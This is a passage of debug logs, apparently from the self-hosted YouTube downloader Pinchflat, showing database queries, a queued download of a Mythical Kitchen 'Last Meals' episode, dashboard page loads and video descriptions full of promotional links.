"media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Barbie Ferreira eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Barbie's Last Meal\n1:22 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:03 1st Course\n5:55 How To Do Crying Scenes\n8:17 How To Do Therapy\n11:29 2nd Course\n13:58 Bonding With Mom Through Food\n16:22 Raised By Brazilian Lesbians\n17:40 Being A Plus Sized Model\n20:57 2010s Tumblr\n21:16 3rd Course\n22:41 Euphoria\n26:32 Being Petra Collins' Muse\n27:38 Leaning Into Discomfort\n 30:28 4th Course\n31:30 Barbie's Rebirth\n32:26:00 Grief As Celebration\n33:18:00 Grieving Angus Cloud\n35:33 Fear Of Others Dying\n36:50:00 Lightning Round\n40:35 Barbie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Euphoria's Barbie Ferreira Eats Her Last Meal", "73986060-f8bc-41b2-ad6a-a8a28da46b79", "https://www.youtube.com/watch?v=iHQkWBUAFko", false, "iHQkWBUAFko", 2494, false, 22, "/downloads/Last Meals/2025-03-20 Euphoria's Barbie Ferreira Eats Her Last Meal/Euphoria's Barbie Ferreira Eats Her Last Meal [iHQkWBUAFko].mp4", false, false, 1, [], 0, ~U[2025-03-20 10:00:58Z], ~U[2026-03-28 00:47:24Z], ~U[2026-03-28 00:47:24Z], "Today, Barbie Ferreira eats her last meal.\n\nPick up a copy of the Mythical Cookbook: https://mythical.com/pages/cookbook\n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Barbie's Last Meal\n1:22 Have You Thought About Your Last Meal Before?\n2:20 How Often Do You Think About Death?\n3:03 1st Course\n5:55 How To Do Crying Scenes\n8:17 How To Do Therapy\n11:29 2nd Course\n13:58 Bonding With Mom Through Food\n16:22 Raised By Brazilian Lesbians\n17:40 Being A Plus Sized Model\n20:57 2010s Tumblr\n21:16 3rd Course\n22:41 Euphoria\n26:32 Being Petra Collins' Muse\n27:38 Leaning Into Discomfort\n 30:28 4th Course\n31:30 Barbie's Rebirth\n32:26:00 Grief As Celebration\n33:18:00 Grieving Angus Cloud\n35:33 Fear Of Others Dying\n36:50:00 Lightning Round\n40:35 Barbie's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Euphoria's Barbie Ferreira Eats Her Last Meal", "https://www.youtube.com/watch?v=iHQkWBUAFko", "iHQkWBUAFko", 2494, false, "/downloads/Last Meals/2025-03-20 Euphoria's Barbie Ferreira Eats Her Last Meal/Euphoria's Barbie Ferreira Eats Her Last Meal [iHQkWBUAFko].mp4", false, 1, ~U[2025-03-20 10:00:58Z]] 20:47:24.189 [debug] QUERY OK source="sources" db=0.2ms idle=178.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:24.190 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:47:24.190 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [22] 20:47:24.190 [info] Kicking off download for media item #22 (iHQkWBUAFko) 20:47:24.191 [debug] QUERY OK source="tasks" db=0.1ms idle=1.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [25, 22, ~U[2026-03-28 00:47:24Z], ~U[2026-03-28 00:47:24Z]] 20:47:24.191 [debug] Current batch of media processed. Will check again in 1000ms 20:47:25.192 [debug] Current batch of media processed. Will check again in 1000ms 20:47:25.719 [info] GET / 20:47:25.719 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 20:47:25.720 [debug] QUERY OK source="settings" db=0.2ms idle=1529.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:25.720 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1529.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 20:47:25.720 [debug] QUERY OK source="sources" db=0.1ms idle=1529.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 20:47:25.721 [debug] QUERY OK source="media_items" db=0.1ms idle=1529.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:47:25.721 [debug] QUERY OK source="media_items" db=0.0ms idle=709.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:47:25.722 [debug] QUERY OK source="settings" db=0.4ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:25.723 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:25.723 [debug] QUERY OK source="settings" db=0.1ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:47:25.725 [debug] QUERY OK source="tasks" db=0.3ms idle=3.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:47:25.726 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=4.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [1, 2] 20:47:25.727 [debug] QUERY OK source="sources" db=0.8ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:25.729 [debug] QUERY OK source="media_items" db=0.1ms idle=5.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:47:25.730 [debug] QUERY OK source="media_items" db=0.6ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:47:25.731 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=5.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:47:25.732 [debug] QUERY OK source="media_items" db=1.0ms idle=4.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:47:25.733 [debug] QUERY OK source="sources" db=0.2ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:25.736 [info] Sent 200 in 16ms 20:47:25.895 [info] CONNECTED TO Phoenix.LiveView.Socket in 41µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "DxMQKjYGCT03fGEFIB1ZMEdyAX1VDgcodtBIXcpQgOQrxQ6su16LbYqE", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:47:25.901 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "downloaded"} 20:47:25.902 [debug] QUERY OK source="media_items" db=0.2ms idle=173.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 20:47:25.903 [debug] QUERY OK source="media_items" db=0.5ms idle=172.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:47:25.903 [debug] Replied in 1ms 20:47:25.904 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm", "media_state" => "pending"} 20:47:25.905 [debug] QUERY OK source="media_items" db=0.3ms idle=173.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 20:47:25.906 [debug] QUERY OK source="media_items" db=0.8ms idle=172.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 20:47:25.907 [debug] QUERY OK source="sources" db=0.3ms idle=173.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:25.907 [debug] Replied in 2ms 20:47:25.910 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:47:25.911 [debug] QUERY OK source="tasks" db=0.4ms idle=8.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 20:47:25.911 [debug] QUERY OK source="media_items" db=0.0ms idle=8.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [1, 2] 20:47:25.911 [debug] QUERY OK source="sources" db=0.0ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:47:25.911 [debug] Replied in 1ms 20:47:25.912 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "kgRcneylP30wXLoC2C717Wvm"} 20:47:25.912 [debug] Replied in 32µs 20:47:26.194 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Josh is cooking Karamo Brown's last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nYouTube: @ahotdogisasandwich\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - 